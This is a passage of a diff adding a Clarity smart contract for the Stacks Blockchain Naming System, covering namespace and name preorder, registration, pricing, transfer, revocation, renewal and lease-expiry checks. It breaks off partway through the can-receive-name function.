+    lifetime: uint,
+    can-update-price-function: bool,
+    price-function: {
+      buckets: (list 16 uint),
+      base: uint,
+      coeff: uint,
+      nonalpha-discount: uint,
+      no-vowel-discount: uint
+    }
+  })
+
+(define-map namespace-preorders
+  { hashed-salted-namespace: (buff 20), buyer: principal }
+  { created-at: uint, claimed: bool, stx-burned: uint })
+
+(define-non-fungible-token names { name: (buff 48), namespace: (buff 20) })
+
+;; Rule 1-1 -> 1 principal, 1 name
+(define-map owner-name principal { name: (buff 48), namespace: (buff 20) })
+;; Only applies to non-revoked, non-expired names.
+;; A principal can own many expired names (but they will be transferred away once someone re-registers them),
+;; and can own many revoked names (but they do not resolve and cannot be transferred or updated).
+
+(define-map name-properties
+  { name: (buff 48), namespace: (buff 20) }
+  { registered-at: (optional uint),
+    imported-at: (optional uint),
+    revoked-at: (optional uint),
+    zonefile-hash: (buff 20) })
+
+(define-map name-preorders
+  { hashed-salted-fqn: (buff 20), buyer: principal }
+  { created-at: uint, claimed: bool, stx-burned: uint })
+
+(define-private (min (a uint) (b uint))
+  (if (<= a b) a b))
+
+(define-private (max (a uint) (b uint))
+  (if (> a b) a b))
+
+(define-private (get-exp-at-index (buckets (list 16 uint)) (index uint))
+  (unwrap-panic (element-at buckets index)))
+
+(define-private (is-digit (char (buff 1)))
+  (or
+    (is-eq char 0x30) ;; 0
+    (is-eq char 0x31) ;; 1
+    (is-eq char 0x32) ;; 2
+    (is-eq char 0x33) ;; 3
+    (is-eq char 0x34) ;; 4
+    (is-eq char 0x35) ;; 5
+    (is-eq char 0x36) ;; 6
+    (is-eq char 0x37) ;; 7
+    (is-eq char 0x38) ;; 8
+    (is-eq char 0x39))) ;; 9
+
+(define-private (is-lowercase-alpha (char (buff 1)))
+  (or
+    (is-eq char 0x61) ;; a
+    (is-eq char 0x62) ;; b
+    (is-eq char 0x63) ;; c
+    (is-eq char 0x64) ;; d
+    (is-eq char 0x65) ;; e
+    (is-eq char 0x66) ;; f
+    (is-eq char 0x67) ;; g
+    (is-eq char 0x68) ;; h
+    (is-eq char 0x69) ;; i
+    (is-eq char 0x6a) ;; j
+    (is-eq char 0x6b) ;; k
+    (is-eq char 0x6c) ;; l
+    (is-eq char 0x6d) ;; m
+    (is-eq char 0x6e) ;; n
+    (is-eq char 0x6f) ;; o
+    (is-eq char 0x70) ;; p
+    (is-eq char 0x71) ;; q
+    (is-eq char 0x72) ;; r
+    (is-eq char 0x73) ;; s
+    (is-eq char 0x74) ;; t
+    (is-eq char 0x75) ;; u
+    (is-eq char 0x76) ;; v
+    (is-eq char 0x77) ;; w
+    (is-eq char 0x78) ;; x
+    (is-eq char 0x79) ;; y
+    (is-eq char 0x7a))) ;; z
+
+(define-private (is-vowel (char (buff 1)))
+  (or
+    (is-eq char 0x61) ;; a
+    (is-eq char 0x65) ;; e
+    (is-eq char 0x69) ;; i
+    (is-eq char 0x6f) ;; o
+    (is-eq char 0x75) ;; u
+    (is-eq char 0x79))) ;; y
+
+(define-private (is-special-char (char (buff 1)))
+  (or
+    (is-eq char 0x2d) ;; -
+    (is-eq char 0x5f))) ;; _
+
+(define-private (is-char-valid (char (buff 1)))
+  (or
+    (is-lowercase-alpha char)
+    (is-digit char)
+    (is-special-char char)))
+
+(define-private (is-nonalpha (char (buff 1)))
+  (or
+    (is-digit char)
+    (is-special-char char)))
+
+(define-private (has-vowels-chars (name (buff 48)))
+  (> (len (filter is-vowel name)) u0))
+
+(define-private (has-nonalpha-chars (name (buff 48)))
+  (> (len (filter is-nonalpha name)) u0))
+
+(define-private (has-invalid-chars (name (buff 48)))
+  (< (len (filter is-char-valid name)) (len name)))
+
+(define-private (name-lease-started-at? (namespace-launched-at (optional uint))
+                                        (namespace-revealed-at uint)
+                                        (name-props (tuple
+                                                  (registered-at (optional uint))
+                                                  (imported-at (optional uint))
+                                                  (revoked-at (optional uint))
+                                                  (zonefile-hash (buff 20)))))
+      (let ((registered-at (get registered-at name-props))
+            (imported-at (get imported-at name-props)))
+        (if (is-none namespace-launched-at)
+          (begin
+            ;; The namespace must not be expired
+            (asserts!
+              (> (+ namespace-revealed-at NAMESPACE_LAUNCHABILITY_TTL) block-height)
+              (err ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED))
+            (ok (unwrap-panic imported-at)))
+          (begin
+            ;; The namespace must be launched
+            (asserts! (is-some namespace-launched-at) (err ERR_NAMESPACE_NOT_LAUNCHED))
+            ;; Sanity check: the name must have been either be registered or imported
+            (asserts! (is-eq (xor
+              (match registered-at res 1 0)
+              (match imported-at   res 1 0)) 1) (err ERR_PANIC))
+            ;; If the name was launched, then started-at will come from registered-at
+            (if (is-some registered-at)
+              ;; The name was registered - We return the registration block height
+              (ok (unwrap-panic registered-at))
+              ;; The name was imported
+              (if (and (>= (unwrap-panic imported-at) namespace-revealed-at)
+                      (<= (unwrap-panic imported-at) (unwrap-panic namespace-launched-at)))
+                ;; The name was imported after revealing the namespace and before launching the namespace - We return the launch block height
+                (ok (unwrap-panic namespace-launched-at))
+                (ok u0)))))))
+
+;; Note: the following method is used in name-import and name-register. The latter ensure that the name
+;; can be registered, the former does not.
+(define-private (mint-or-transfer-name? (namespace (buff 20)) (name (buff 48)) (beneficiary principal))
+    (let (
+      (current-owner (nft-get-owner? names (tuple (name name) (namespace namespace)))))
+      ;; The principal can register a name
+      (asserts!
+        (try! (can-receive-name beneficiary))
+        (err ERR_PRINCIPAL_ALREADY_ASSOCIATED))
+      (if (is-none current-owner)
+        ;; This is a new name, let's mint it
+        (begin
+          (unwrap!
+            (nft-mint?
+              names
+              { name: name, namespace: namespace }
+              beneficiary)
+            (err ERR_NAME_COULD_NOT_BE_MINTED))
+          (map-set owner-name
+            beneficiary
+            { name: name, namespace: namespace })
+          (ok true))
+        (update-name-ownership? namespace name (unwrap-panic current-owner) beneficiary))))
+
+(define-private (update-name-ownership? (namespace (buff 20))
+                                        (name (buff 48))
+                                        (from principal)
+                                        (to principal))
+  (if (is-eq from to)
+    (ok true)
+    (begin
+      (unwrap!
+        (nft-transfer? names { name: name, namespace: namespace } from to)
+        (err ERR_NAME_COULD_NOT_BE_TRANSFERED))
+      (map-delete owner-name from)
+      (map-set owner-name
+        to
+        { name: name, namespace: namespace })
+      (ok true))))
+
+(define-private (update-zonefile-and-props (namespace (buff 20))
+                                           (name (buff 48))
+                                           (registered-at (optional uint))
+                                           (imported-at (optional uint))
+                                           (revoked-at (optional uint))
+                                           (zonefile-hash (buff 20))
+                                           (op (string-ascii 16)))
+  (let
+    ((current-index (var-get attachment-index)))
+      ;; Emit event used as a system hinter
+      (print {
+        attachment: {
+          hash: zonefile-hash,
+          attachment-index: current-index,
+          metadata: {
+            name: name,
+            namespace: namespace,
+            tx-sender: tx-sender,
+            op: op
+          }
+        }})
+      ;; Update cursor
+      (var-set attachment-index (+ u1 current-index))
+      (map-set name-properties
+        { name: name, namespace: namespace }
+        { registered-at: registered-at,
+          imported-at: imported-at,
+          revoked-at: revoked-at,
+          zonefile-hash: zonefile-hash })))
+
+(define-private (is-namespace-available (namespace (buff 20)))
+  (match (map-get? namespaces namespace) namespace-props
+    (begin
+      ;; Is the namespace launched?
+      (if (is-some (get launched-at namespace-props))
+        false
+        (> block-height (+ (get revealed-at namespace-props) NAMESPACE_LAUNCHABILITY_TTL)))) ;; Is the namespace expired?
+    true))
+
+(define-private (compute-name-price (name (buff 48))
+                                    (price-function (tuple (buckets (list 16 uint))
+                                                           (base uint)
+                                                           (coeff uint)
+                                                           (nonalpha-discount uint)
+                                                           (no-vowel-discount uint))))
+  (let (
+    (exponent (get-exp-at-index (get buckets price-function) (min u15 (- (len name) u1))))
+    (no-vowel-discount (if (not (has-vowels-chars name)) (get no-vowel-discount price-function) u1))
+    (nonalpha-discount (if (has-nonalpha-chars name) (get nonalpha-discount price-function) u1)))
+    (*
+      (/
+        (*
+          (get coeff price-function)
+          (pow (get base price-function) exponent))
+        (max nonalpha-discount no-vowel-discount))
+      u10)))
+
+;;;; NAMESPACES
+;; NAMESPACE_PREORDER
+;; This step registers the salted hash of the namespace with BNS nodes, and burns the requisite amount of cryptocurrency.
+;; Additionally, this step proves to the BNS nodes that user has honored the BNS consensus rules by including a recent
+;; consensus hash in the transaction.
+;; Returns pre-order's expiration date (in blocks).
+(define-public (namespace-preorder (hashed-salted-namespace (buff 20))
+                                   (stx-to-burn uint))
+  (let
+    ((former-preorder
+      (map-get? namespace-preorders { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender })))
+    ;; Ensure eventual former pre-order expired
+    (asserts!
+      (if (is-none former-preorder)
+        true
+        (>= block-height (+ NAMESPACE_PREORDER_CLAIMABILITY_TTL
+                            (unwrap-panic (get created-at former-preorder)))))
+      (err ERR_NAMESPACE_PREORDER_ALREADY_EXISTS))
+    ;; Ensure that the hashed namespace is 20 bytes long
+    (asserts! (is-eq (len hashed-salted-namespace) u20) (err ERR_NAMESPACE_HASH_MALFORMED))
+    ;; Ensure that user will be burning a positive amount of tokens
+    (asserts! (> stx-to-burn u0) (err ERR_NAMESPACE_STX_BURNT_INSUFFICIENT))
+    ;; Burn the tokens
+    (unwrap! (stx-burn? stx-to-burn tx-sender) (err ERR_INSUFFICIENT_FUNDS))
+    ;; Register the preorder
+    (map-set namespace-preorders
+      { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender }
+      { created-at: block-height, claimed: false, stx-burned: stx-to-burn })
+    (ok (+ block-height NAMESPACE_PREORDER_CLAIMABILITY_TTL))))
+
+;; NAMESPACE_REVEAL
+;; This second step reveals the salt and the namespace ID (pairing it with its NAMESPACE_PREORDER). It reveals how long
+;; names last in this namespace before they expire or must be renewed, and it sets a price function for the namespace
+;; that determines how cheap or expensive names its will be.
+(define-public (namespace-reveal (namespace (buff 20))
+                                 (namespace-salt (buff 20))
+                                 (p-func-base uint)
+                                 (p-func-coeff uint)
+                                 (p-func-b1 uint)
+                                 (p-func-b2 uint)
+                                 (p-func-b3 uint)
+                                 (p-func-b4 uint)
+                                 (p-func-b5 uint)
+                                 (p-func-b6 uint)
+                                 (p-func-b7 uint)
+                                 (p-func-b8 uint)
+                                 (p-func-b9 uint)
+                                 (p-func-b10 uint)
+                                 (p-func-b11 uint)
+                                 (p-func-b12 uint)
+                                 (p-func-b13 uint)
+                                 (p-func-b14 uint)
+                                 (p-func-b15 uint)
+                                 (p-func-b16 uint)
+                                 (p-func-non-alpha-discount uint)
+                                 (p-func-no-vowel-discount uint)
+                                 (lifetime uint)
+                                 (namespace-import principal))
+  ;; The salt and namespace must hash to a preorder entry in the `namespace_preorders` table.
+  ;; The sender must match the principal in the preorder entry (implied)
+  (let (
+    (hashed-salted-namespace (hash160 (concat namespace namespace-salt)))
+    (price-function (tuple
+      (buckets (list
+        p-func-b1
+        p-func-b2
+        p-func-b3
+        p-func-b4
+        p-func-b5
+        p-func-b6
+        p-func-b7
+        p-func-b8
+        p-func-b9
+        p-func-b10
+        p-func-b11
+        p-func-b12
+        p-func-b13
+        p-func-b14
+        p-func-b15
+        p-func-b16))
+      (base p-func-base)
+      (coeff p-func-coeff)
+      (nonalpha-discount p-func-non-alpha-discount)
+      (no-vowel-discount p-func-no-vowel-discount)))
+    (preorder (unwrap!
+      (map-get? namespace-preorders { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender })
+      (err ERR_NAMESPACE_PREORDER_NOT_FOUND)))
+    (namespace-price (try! (get-namespace-price namespace))))
+    ;; The namespace must only have valid chars
+    (asserts!
+      (not (has-invalid-chars namespace))
+      (err ERR_NAMESPACE_CHARSET_INVALID))
+    ;; The namespace must not exist in the `namespaces` table, or be expired
+    (asserts!
+      (is-namespace-available namespace)
+      (err ERR_NAMESPACE_ALREADY_EXISTS))
+    ;; The amount burnt must be equal to or greater than the cost of the namespace
+    (asserts!
+      (>= (get stx-burned preorder) namespace-price)
+      (err ERR_NAMESPACE_STX_BURNT_INSUFFICIENT))
+    ;; This transaction must arrive within 24 hours of its `NAMESPACE_PREORDER`
+    (asserts!
+      (< block-height (+ (get created-at preorder) NAMESPACE_PREORDER_CLAIMABILITY_TTL))
+      (err ERR_NAMESPACE_PREORDER_CLAIMABILITY_EXPIRED))
+    ;; The preorder record for this namespace will be marked as "claimed"
+    (map-set namespace-preorders
+      { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender }
+      { created-at: (get created-at preorder), claimed: true, stx-burned: (get stx-burned preorder) })
+    ;; The namespace will be set as "revealed" but not "launched", its price function, its renewal rules, its version,
+    ;; and its import principal will be written to the  `namespaces` table.
+    (map-set namespaces
+      namespace
+      { namespace-import: namespace-import,
+        revealed-at: block-height,
+        launched-at: none,
+        lifetime: lifetime,
+        can-update-price-function: true,
+        price-function: price-function })
+    (ok true)))
+
+;; NAME_IMPORT
+;; Once a namespace is revealed, the user has the option to populate it with a set of names. Each imported name is given
+;; both an owner and some off-chain state. This step is optional; Namespace creators are not required to import names.
+(define-public (name-import (namespace (buff 20))
+                            (name (buff 48))
+                            (beneficiary principal)
+                            (zonefile-hash (buff 20)))
+  (let (
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND))))
+      ;; The name must only have valid chars
+      (asserts!
+        (not (has-invalid-chars name))
+        (err ERR_NAME_CHARSET_INVALID))
+      ;; The sender principal must match the namespace's import principal
+      (asserts!
+        (is-eq (get namespace-import namespace-props) tx-sender)
+        (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))
+      ;; The name's namespace must not be launched
+      (asserts!
+        (is-none (get launched-at namespace-props))
+        (err ERR_NAMESPACE_ALREADY_LAUNCHED))
+      ;; Less than 1 year must have passed since the namespace was "revealed"
+      (asserts!
+        (< block-height (+ (get revealed-at namespace-props) NAMESPACE_LAUNCHABILITY_TTL))
+        (err ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED))
+      ;; Mint the new name
+      (try! (mint-or-transfer-name? namespace name beneficiary))
+      ;; Update zonefile and props
+      (update-zonefile-and-props
+        namespace
+        name
+        none
+        (some block-height) ;; Set imported-at
+        none
+        zonefile-hash
+        "name-import")
+      (ok true)))
+
+;; NAMESPACE_READY
+;; The final step of the process launches the namespace and makes the namespace available to the public. Once a namespace
+;; is launched, anyone can register a name in it if they pay the appropriate amount of cryptocurrency.
+(define-public (namespace-ready (namespace (buff 20)))
+  (let (
+      (namespace-props (unwrap!
+        (map-get? namespaces namespace)
+        (err ERR_NAMESPACE_NOT_FOUND))))
+    ;; The sender principal must match the namespace's import principal
+    (asserts!
+      (is-eq (get namespace-import namespace-props) tx-sender)
+      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))
+    ;; The name's namespace must not be launched
+    (asserts!
+      (is-none (get launched-at namespace-props))
+      (err ERR_NAMESPACE_ALREADY_LAUNCHED))
+    ;; Less than 1 year must have passed since the namespace was "revealed"
+    (asserts!
+      (< block-height (+ (get revealed-at namespace-props) NAMESPACE_LAUNCHABILITY_TTL))
+      (err ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED))
+    (let ((namespace-props-updated (merge namespace-props { launched-at: (some block-height) })))
+      ;; The namespace will be set to "launched"
+      (map-set namespaces namespace namespace-props-updated)
+      ;; Emit an event
+      (print { namespace: namespace, status: "ready", properties: namespace-props-updated })
+      (ok true))))
+
+;; NAMESPACE_UPDATE_FUNCTION_PRICE
+(define-public (namespace-update-function-price (namespace (buff 20))
+                                        (p-func-base uint)
+                                        (p-func-coeff uint)
+                                        (p-func-b1 uint)
+                                        (p-func-b2 uint)
+                                        (p-func-b3 uint)
+                                        (p-func-b4 uint)
+                                        (p-func-b5 uint)
+                                        (p-func-b6 uint)
+                                        (p-func-b7 uint)
+                                        (p-func-b8 uint)
+                                        (p-func-b9 uint)
+                                        (p-func-b10 uint)
+                                        (p-func-b11 uint)
+                                        (p-func-b12 uint)
+                                        (p-func-b13 uint)
+                                        (p-func-b14 uint)
+                                        (p-func-b15 uint)
+                                        (p-func-b16 uint)
+                                        (p-func-non-alpha-discount uint)
+                                        (p-func-no-vowel-discount uint))
+  (let (
+      (namespace-props (unwrap!
+        (map-get? namespaces namespace)
+        (err ERR_NAMESPACE_NOT_FOUND)))
+      (price-function (tuple
+        (buckets (list
+          p-func-b1
+          p-func-b2
+          p-func-b3
+          p-func-b4
+          p-func-b5
+          p-func-b6
+          p-func-b7
+          p-func-b8
+          p-func-b9
+          p-func-b10
+          p-func-b11
+          p-func-b12
+          p-func-b13
+          p-func-b14
+          p-func-b15
+          p-func-b16))
+        (base p-func-base)
+        (coeff p-func-coeff)
+        (nonalpha-discount p-func-non-alpha-discount)
+        (no-vowel-discount p-func-no-vowel-discount))))
+    ;; The sender principal must match the namespace's import principal
+    (asserts!
+      (is-eq (get namespace-import namespace-props) tx-sender)
+      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))
+    ;; The namespace price function must still be editable
+    (asserts!
+      (get can-update-price-function namespace-props)
+      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))
+    (map-set namespaces
+      namespace
+      (merge namespace-props { price-function: price-function }))
+    (ok true)))
+
+;; NAMESPACE_REVOKE_PRICE_EDITION
+(define-public (namespace-revoke-function-price-edition (namespace (buff 20)))
+  (let (
+      (namespace-props (unwrap!
+        (map-get? namespaces namespace)
+        (err ERR_NAMESPACE_NOT_FOUND))))
+    ;; The sender principal must match the namespace's import principal
+    (asserts!
+      (is-eq (get namespace-import namespace-props) tx-sender)
+      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))
+    (map-set namespaces
+      namespace
+      (merge namespace-props { can-update-price-function: false }))
+    (ok true)))
+
+;; NAME_PREORDER
+;; This is the first transaction to be sent. It tells all BNS nodes the salted hash of the BNS name,
+;; and it burns the registration fee.
+(define-public (name-preorder (hashed-salted-fqn (buff 20))
+                              (stx-to-burn uint))
+  (let
+    ((former-preorder
+      (map-get? name-preorders { hashed-salted-fqn: hashed-salted-fqn, buyer: tx-sender })))
+    ;; Ensure eventual former pre-order expired
+    (asserts!
+      (if (is-none former-preorder)
+        true
+        (>= block-height (+ NAME_PREORDER_CLAIMABILITY_TTL
+                            (unwrap-panic (get created-at former-preorder)))))
+      (err ERR_NAME_PREORDER_ALREADY_EXISTS))
+          (asserts! (> stx-to-burn u0) (err ERR_NAMESPACE_STX_BURNT_INSUFFICIENT))
+    ;; Ensure that the hashed fqn is 20 bytes long
+    (asserts! (is-eq (len hashed-salted-fqn) u20) (err ERR_NAME_HASH_MALFORMED))
+    ;; Ensure that user will be burning a positive amount of tokens
+    (asserts! (> stx-to-burn u0) (err ERR_NAME_STX_BURNT_INSUFFICIENT))
+    ;; Burn the tokens
+    (unwrap! (stx-burn? stx-to-burn tx-sender) (err ERR_INSUFFICIENT_FUNDS))
+    ;; Register the pre-order
+    (map-set name-preorders
+      { hashed-salted-fqn: hashed-salted-fqn, buyer: tx-sender }
+      { created-at: block-height, stx-burned: stx-to-burn, claimed: false })
+    (ok (+ block-height NAME_PREORDER_CLAIMABILITY_TTL))))
+
+;; NAME_REGISTRATION
+;; This is the second transaction to be sent. It reveals the salt and the name to all BNS nodes,
+;; and assigns the name an initial public key hash and zone file hash
+(define-public (name-register (namespace (buff 20))
+                              (name (buff 48))
+                              (salt (buff 20))
+                              (zonefile-hash (buff 20)))
+  (let (
+    (hashed-salted-fqn (hash160 (concat (concat (concat name 0x2e) namespace) salt)))
+    (namespace-props (unwrap!
+          (map-get? namespaces namespace)
+          (err ERR_NAMESPACE_NOT_FOUND)))
+    (preorder (unwrap!
+      (map-get? name-preorders { hashed-salted-fqn: hashed-salted-fqn, buyer: tx-sender })
+      (err ERR_NAME_PREORDER_NOT_FOUND))))
+      ;; The name can be registered
+      (asserts! (try! (can-name-be-registered namespace name))
+        (err ERR_NAME_UNAVAILABLE))
+      ;; The preorder must have been created after the launch of the namespace
+      (asserts!
+        (> (get created-at preorder) (unwrap-panic (get launched-at namespace-props)))
+        (err ERR_NAME_PREORDERED_BEFORE_NAMESPACE_LAUNCH))
+      ;; The preorder entry must be unclaimed
+      (asserts!
+        (is-eq (get claimed preorder) false)
+        (err ERR_NAME_ALREADY_CLAIMED))
+      ;; Less than 24 hours must have passed since the name was preordered
+      (asserts!
+        (< block-height (+ (get created-at preorder) NAME_PREORDER_CLAIMABILITY_TTL))
+        (err ERR_NAME_CLAIMABILITY_EXPIRED))
+      ;; The amount burnt must be equal to or greater than the cost of the name
+      (asserts!
+        (>= (get stx-burned preorder) (compute-name-price name (get price-function namespace-props)))
+        (err ERR_NAME_STX_BURNT_INSUFFICIENT))
+      ;; Mint the name if new, transfer the name otherwise.
+      (try! (mint-or-transfer-name? namespace name tx-sender))
+      ;; Update name's metadata / properties
+      (update-zonefile-and-props
+        namespace
+        name
+        (some block-height)
+        none
+        none
+        zonefile-hash
+        "name-register")
+      (ok true)))
+
+;; NAME_UPDATE
+;; A NAME_UPDATE transaction changes the name's zone file hash. You would send one of these transactions
+;; if you wanted to change the name's zone file contents.
+;; For example, you would do this if you want to deploy your own Gaia hub and want other people to read from it.
+(define-public (name-update (namespace (buff 20))
+                            (name (buff 48))
+                            (zonefile-hash (buff 20)))
+  (let (
+    (data (try! (check-name-ops-preconditions namespace name))))
+    ;; Update the zonefile
+    (update-zonefile-and-props
+      namespace
+      name
+      (get registered-at (get name-props data))
+      (get imported-at (get name-props data))
+      none
+      zonefile-hash
+      "name-update")
+    (ok true)))
+
+;; NAME_TRANSFER
+;; A NAME_TRANSFER transaction changes the name's public key hash. You would send one of these transactions if you wanted to:
+;; - Change your private key
+;; - Send the name to someone else
+;; When transferring a name, you have the option to also clear the name's zone file hash (i.e. set it to null).
+;; This is useful for when you send the name to someone else, so the recipient's name does not resolve to your zone file.
+(define-public (name-transfer (namespace (buff 20))
+                              (name (buff 48))
+                              (new-owner principal)
+                              (zonefile-hash (optional (buff 20))))
+  (let (
+    (data (try! (check-name-ops-preconditions namespace name)))
+    (can-new-owner-get-name (try! (can-receive-name new-owner))))
+    ;; The new owner does not own a name
+    (asserts!
+      can-new-owner-get-name
+      (err ERR_PRINCIPAL_ALREADY_ASSOCIATED))
+    ;; Transfer the name
+    (unwrap!
+      (update-name-ownership? namespace name tx-sender new-owner)
+      (err ERR_NAME_TRANSFER_FAILED))
+    ;; Update or clear the zonefile
+    (update-zonefile-and-props
+        namespace
+        name
+        (get registered-at (get name-props data))
+        (get imported-at (get name-props data))
+        none
+        (if (is-none zonefile-hash)
+          0x
+          (unwrap-panic zonefile-hash))
+        "name-transfer")
+    (ok true)))
+
+;; NAME_REVOKE
+;; A NAME_REVOKE transaction makes a name unresolvable. The BNS consensus rules stipulate that once a name
+;; is revoked, no one can change its public key hash or its zone file hash.
+;; The name's zone file hash is set to null to prevent it from resolving.
+;; You should only do this if your private key is compromised, or if you want to render your name unusable for whatever reason.
+(define-public (name-revoke (namespace (buff 20))
+                            (name (buff 48)))
+  (let (
+    (data (try! (check-name-ops-preconditions namespace name))))
+    ;; Clear the zonefile
+    (update-zonefile-and-props
+        namespace
+        name
+        (get registered-at (get name-props data))
+        (get imported-at (get name-props data))
+        (some block-height)
+        0x
+        "name-revoke")
+    (ok true)))
+
+;; NAME_RENEWAL
+;; Depending in the namespace rules, a name can expire. For example, names in the .id namespace expire after 2 years.
+;; You need to send a NAME_RENEWAL every so often to keep your name.
+;; You will pay the registration cost of your name to the namespace's designated burn address when you renew it.
+;; When a name expires, it enters a month-long "grace period" (5000 blocks).
+;; It will stop resolving in the grace period, and all of the above operations will cease to be honored by the BNS consensus rules.
+;; You may, however, send a NAME_RENEWAL during this grace period to preserve your name.
+;; If your name is in a namespace where names do not expire, then you never need to use this transaction.
+(define-public (name-renewal (namespace (buff 20))
+                             (name (buff 48))
+                             (stx-to-burn uint)
+                             (new-owner (optional principal))
+                             (zonefile-hash (optional (buff 20))))
+  (let (
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND)))
+    (owner (unwrap!
+      (nft-get-owner? names { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND))) ;; The name must exist
+    (name-props (unwrap!
+      (map-get? name-properties { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND)))) ;; The name must exist
+    ;; The namespace must be launched
+    (asserts!
+      (is-some (get launched-at namespace-props))
+      (err ERR_NAMESPACE_NOT_LAUNCHED))
+    ;; The namespace should require renewals
+    (asserts!
+      (> (get lifetime namespace-props) u0)
+      (err ERR_NAME_OPERATION_UNAUTHORIZED))
+    ;; The sender must match the name's current owner
+    (asserts!
+      (is-eq owner tx-sender)
+      (err ERR_NAME_OPERATION_UNAUTHORIZED))
+    ;; If expired, the name must be in the renewal grace period.
+    (if (try! (is-name-lease-expired namespace name))
+      (asserts!
+        (is-eq (try! (is-name-in-grace-period namespace name)) true)
+        (err ERR_NAME_EXPIRED))
+      true)
+    ;; The amount burnt must be equal to or greater than the cost of the namespace
+    (asserts!
+      (>= stx-to-burn (compute-name-price name (get price-function namespace-props)))
+      (err ERR_NAME_STX_BURNT_INSUFFICIENT))
+    ;; The name must not be revoked
+    (asserts!
+      (is-none (get revoked-at name-props))
+      (err ERR_NAME_REVOKED))
+    ;; Transfer the name, if any new-owner
+    (if (is-none new-owner)
+      true
+      (try! (can-receive-name (unwrap-panic new-owner))))
+    ;; Update the zonefile, if any.
+    (if (is-none zonefile-hash)
+      (map-set name-properties
+        { name: name, namespace: namespace }
+        { registered-at: (some block-height),
+          imported-at: none,
+          revoked-at: none,
+          zonefile-hash: (get zonefile-hash name-props) })
+      (update-zonefile-and-props
+              namespace
+              name
+              (some block-height)
+              none
+              none
+              (unwrap-panic zonefile-hash)
+              "name-renewal"))
+    (ok true)))
+
+;; Additionals public methods
+
+(define-read-only (get-namespace-price (namespace (buff 20)))
+  (let ((namespace-len (len namespace)))
+    (asserts!
+      (> namespace-len u0)
+      (err ERR_NAMESPACE_BLANK))
+    (ok (unwrap-panic
+      (element-at NAMESPACE_PRICE_TIERS (min u7 (- namespace-len u1)))))))
+
+(define-read-only (get-name-price (namespace (buff 20)) (name (buff 48)))
+  (let (
+      (namespace-props (unwrap!
+        (map-get? namespaces namespace)
+        (err ERR_NAMESPACE_NOT_FOUND))))
+    (ok (compute-name-price name (get price-function namespace-props)))))
+
+(define-read-only (check-name-ops-preconditions (namespace (buff 20)) (name (buff 48)))
+  (let (
+    (owner (unwrap!
+      (nft-get-owner? names { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND))) ;; The name must exist
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND)))
+    (name-props (unwrap!
+      (map-get? name-properties { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND)))) ;; The name must exist
+      ;; The namespace must be launched
+      (asserts!
+        (is-some (get launched-at namespace-props))
+        (err ERR_NAMESPACE_NOT_LAUNCHED))
+      ;; The sender must match the name's current owner
+      (asserts!
+        (is-eq owner tx-sender)
+        (err ERR_NAME_OPERATION_UNAUTHORIZED))
+      ;; The name must not be in the renewal grace period
+      (asserts!
+        (is-eq (try! (is-name-in-grace-period namespace name)) false)
+        (err ERR_NAME_GRACE_PERIOD))
+      ;; The name must not be expired
+      (asserts!
+        (is-eq (try! (is-name-lease-expired namespace name)) false)
+        (err ERR_NAME_EXPIRED))
+      ;; The name must not be revoked
+      (asserts!
+        (is-none (get revoked-at name-props))
+        (err ERR_NAME_REVOKED))
+      (ok { namespace-props: namespace-props, name-props: name-props, owner: owner })))
+
+(define-read-only (can-namespace-be-registered (namespace (buff 20)))
+  (ok (is-namespace-available namespace)))
+
+(define-read-only (is-name-lease-expired (namespace (buff 20)) (name (buff 48)))
+  (let (
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND)))
+    (name-props (unwrap!
+      (map-get? name-properties { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND)))
+    (lease-started-at (try! (name-lease-started-at? (get launched-at namespace-props) (get revealed-at namespace-props) name-props)))
+    (lifetime (get lifetime namespace-props)))
+      (if (is-eq lifetime u0)
+        (ok false)
+        (ok (> block-height (+ lifetime lease-started-at))))))
+
+(define-read-only (is-name-in-grace-period (namespace (buff 20)) (name (buff 48)))
+  (let (
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND)))
+    (name-props (unwrap!
+      (map-get? name-properties { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND)))
+    (lease-started-at (try! (name-lease-started-at? (get launched-at namespace-props) (get revealed-at namespace-props) name-props)))
+    (lifetime (get lifetime namespace-props)))
+      (if (is-eq lifetime u0)
+        (ok false)
+        (ok (and
+          (> block-height (+ lifetime lease-started-at))
+          (<= block-height (+ (+ lifetime lease-started-at) NAME_GRACE_PERIOD_DURATION)))))))
+
+(define-read-only (resolve-principal (owner principal))
+  (match (map-get? owner-name owner)
+    name (match (name-resolve (get namespace name) (get name name))
+      resolved-name (ok name)
+      error (err {code: error, name: (some name)}))
+    (err {code: ERR_NAME_NOT_FOUND, name: none})))
+
+(define-read-only (can-receive-name (owner principal))
+  (let ((current-owned-name (map-get? owner-name owner)))
+    (if (is-none current-owned-name)
+      (ok true)
+      (let (
+        (namespace (unwrap-panic (get namespace current-owned-name)))
+        (name (unwrap-panic (get name current-owned-name))))
+        (if (is-namespace-available namespace)
+          (ok true)
+          (begin
+            ;; Early return if lease is expired
+            (asserts!
+              (not (try! (is-name-lease-expired namespace name)))
+              (ok true))
+            (let (
+              (name-props (unwrap-panic (map-get? name-properties { name: name, namespace: namespace }))))
+              ;; Has name been revoked?
